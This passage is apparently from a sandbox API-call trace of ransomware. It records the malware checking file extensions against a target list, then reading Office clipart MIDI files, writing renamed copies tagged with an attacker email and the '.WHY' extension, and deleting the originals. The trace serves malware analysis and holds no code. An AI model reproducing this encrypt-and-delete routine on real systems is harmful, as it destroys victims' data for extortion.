Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.770] lstrlenW (lpString=".dbf") returned 4 [0231.770] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0231.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.770] lstrlenW (lpString=".1cd") returned 4 [0231.770] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0231.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.771] lstrlenW (lpString=".jpg") returned 4 [0231.771] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0231.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.771] lstrlenW (lpString=".doc") returned 4 [0231.771] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0231.771] lstrlenW (lpString=".docx") returned 5 [0231.771] lstrcmpiW (lpString1=".docx", lpString2="v.rll") returned -1 [0231.771] lstrlenW (lpString=".pdf") returned 4 [0231.771] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0231.771] lstrlenW (lpString=".xls") returned 4 [0231.771] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0231.772] lstrlenW (lpString=".xlsx") returned 5 [0231.772] lstrcmpiW (lpString1=".xlsx", lpString2="v.rll") returned -1 [0231.772] lstrlenW (lpString=".ppt") returned 4 [0231.772] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0231.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.772] lstrlenW (lpString=".zip") returned 4 [0231.772] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0231.772] lstrlenW (lpString=".rar") returned 4 [0231.772] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0231.772] lstrlenW (lpString=".bz2") returned 4 [0231.772] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0231.772] lstrlenW (lpString=".7z") returned 3 [0231.772] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0231.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.773] lstrlenW (lpString=".dbf") returned 4 [0231.773] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0231.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.773] lstrlenW (lpString=".1cd") returned 4 [0231.773] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0231.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll") returned 83 [0231.773] lstrlenW (lpString=".jpg") returned 4 [0231.773] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0231.774] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0231.774] lstrlenW (lpString="EAST_01.MID") returned 11 [0231.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0232.827] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=6165) returned 1 [0232.828] CloseHandle (hObject=0x320) returned 1 [0232.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0232.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0233.854] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.854] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0233.855] GetLastError () returned 0x0 [0233.855] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x1815, lpOverlapped=0x0) returned 1 [0233.896] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x1820, lpOverlapped=0x0) returned 1 [0233.899] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0233.899] WriteFile (in: hFile=0x320, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xea, lpOverlapped=0x0) returned 1 [0233.900] SetEndOfFile (hFile=0x320) returned 1 [0233.900] CloseHandle (hObject=0x320) returned 1 [0233.902] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.902] SetEndOfFile (hFile=0x354) returned 1 [0233.908] CloseHandle (hObject=0x354) returned 1 [0233.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1 [0234.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.057] lstrlenW (lpString=".doc") returned 4 [0234.057] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.057] lstrlenW (lpString=".docx") returned 5 [0234.057] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.057] lstrlenW (lpString=".pdf") returned 4 [0234.057] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.057] lstrlenW (lpString=".xls") returned 4 [0234.057] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.057] lstrlenW (lpString=".xlsx") returned 5 [0234.057] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.058] lstrlenW (lpString=".ppt") returned 4 [0234.058] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.058] lstrlenW (lpString=".zip") returned 4 [0234.058] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.058] lstrlenW (lpString=".rar") returned 4 [0234.058] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.058] lstrlenW (lpString=".bz2") returned 4 [0234.058] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.058] lstrlenW (lpString=".7z") returned 3 [0234.058] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.058] lstrlenW (lpString=".dbf") returned 4 [0234.058] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.059] lstrlenW (lpString=".1cd") returned 4 [0234.059] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.059] lstrlenW (lpString=".jpg") returned 4 [0234.059] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.059] lstrlenW (lpString=".doc") returned 4 [0234.059] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.059] lstrlenW (lpString=".docx") returned 5 [0234.059] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.060] lstrlenW (lpString=".pdf") returned 4 [0234.060] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.060] lstrlenW (lpString=".xls") returned 4 [0234.060] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.060] lstrlenW (lpString=".xlsx") returned 5 [0234.060] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.060] lstrlenW (lpString=".ppt") returned 4 [0234.060] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.060] lstrlenW (lpString=".zip") returned 4 [0234.060] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.060] lstrlenW (lpString=".rar") returned 4 [0234.060] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.060] lstrlenW (lpString=".bz2") returned 4 [0234.061] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.061] lstrlenW (lpString=".7z") returned 3 [0234.061] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.061] lstrlenW (lpString=".dbf") returned 4 [0234.061] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.061] lstrlenW (lpString=".1cd") returned 4 [0234.061] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0234.061] lstrlenW (lpString=".jpg") returned 4 [0234.061] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.062] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.062] lstrlenW (lpString="GRDEN_01.MID") returned 12 [0234.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.064] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=7567) returned 1 [0234.065] CloseHandle (hObject=0x394) returned 1 [0234.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 0x20 [0234.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0234.066] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.066] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0234.067] GetLastError () returned 0x0 [0234.067] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0234.082] WriteFile (in: hFile=0x290, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x1d90, lpOverlapped=0x0) returned 1 [0234.086] ReadFile (in: hFile=0x394, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0234.086] WriteFile (in: hFile=0x290, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.086] SetEndOfFile (hFile=0x290) returned 1 [0234.087] CloseHandle (hObject=0x290) returned 1 [0234.088] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.088] SetEndOfFile (hFile=0x394) returned 1 [0234.097] CloseHandle (hObject=0x394) returned 1 [0234.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0234.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.099] lstrlenW (lpString=".doc") returned 4 [0234.099] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.099] lstrlenW (lpString=".docx") returned 5 [0234.099] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.099] lstrlenW (lpString=".pdf") returned 4 [0234.100] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.100] lstrlenW (lpString=".xls") returned 4 [0234.100] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.100] lstrlenW (lpString=".xlsx") returned 5 [0234.100] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.100] lstrlenW (lpString=".ppt") returned 4 [0234.100] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.100] lstrlenW (lpString=".zip") returned 4 [0234.100] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.100] lstrlenW (lpString=".rar") returned 4 [0234.100] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.100] lstrlenW (lpString=".bz2") returned 4 [0234.100] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.101] lstrlenW (lpString=".7z") returned 3 [0234.101] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.101] lstrlenW (lpString=".dbf") returned 4 [0234.101] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.101] lstrlenW (lpString=".1cd") returned 4 [0234.101] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.101] lstrlenW (lpString=".jpg") returned 4 [0234.101] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.102] lstrlenW (lpString=".doc") returned 4 [0234.102] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.102] lstrlenW (lpString=".docx") returned 5 [0234.102] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.102] lstrlenW (lpString=".pdf") returned 4 [0234.102] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.102] lstrlenW (lpString=".xls") returned 4 [0234.102] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.102] lstrlenW (lpString=".xlsx") returned 5 [0234.102] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.103] lstrlenW (lpString=".ppt") returned 4 [0234.103] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.103] lstrlenW (lpString=".zip") returned 4 [0234.374] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.374] lstrlenW (lpString=".rar") returned 4 [0234.374] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.374] lstrlenW (lpString=".bz2") returned 4 [0234.374] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.374] lstrlenW (lpString=".7z") returned 3 [0234.374] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.374] lstrlenW (lpString=".dbf") returned 4 [0234.374] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.375] lstrlenW (lpString=".1cd") returned 4 [0234.375] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0234.375] lstrlenW (lpString=".jpg") returned 4 [0234.375] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.375] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.375] lstrlenW (lpString="JNGLE_01.MID") returned 12 [0234.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0234.482] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=5843) returned 1 [0234.482] CloseHandle (hObject=0x320) returned 1 [0234.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 0x20 [0234.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0234.483] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.484] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0234.484] GetLastError () returned 0x0 [0234.484] ReadFile (in: hFile=0x320, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x16d3, lpOverlapped=0x0) returned 1 [0234.510] WriteFile (in: hFile=0x380, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x16e0, lpOverlapped=0x0) returned 1 [0234.514] ReadFile (in: hFile=0x320, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0234.514] WriteFile (in: hFile=0x380, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.515] SetEndOfFile (hFile=0x380) returned 1 [0234.515] CloseHandle (hObject=0x380) returned 1 [0234.519] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.519] SetEndOfFile (hFile=0x320) returned 1 [0234.627] CloseHandle (hObject=0x320) returned 1 [0234.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid")) returned 1 [0234.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.733] lstrlenW (lpString=".doc") returned 4 [0234.733] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.733] lstrlenW (lpString=".docx") returned 5 [0234.733] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.733] lstrlenW (lpString=".pdf") returned 4 [0234.734] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.734] lstrlenW (lpString=".xls") returned 4 [0234.734] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.734] lstrlenW (lpString=".xlsx") returned 5 [0234.734] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.734] lstrlenW (lpString=".ppt") returned 4 [0234.734] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.734] lstrlenW (lpString=".zip") returned 4 [0234.734] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.734] lstrlenW (lpString=".rar") returned 4 [0234.734] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.734] lstrlenW (lpString=".bz2") returned 4 [0234.734] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.735] lstrlenW (lpString=".7z") returned 3 [0234.735] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.735] lstrlenW (lpString=".dbf") returned 4 [0234.735] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.735] lstrlenW (lpString=".1cd") returned 4 [0234.735] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.735] lstrlenW (lpString=".jpg") returned 4 [0234.735] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.736] lstrlenW (lpString="C:\\Program Files\\Microsoft 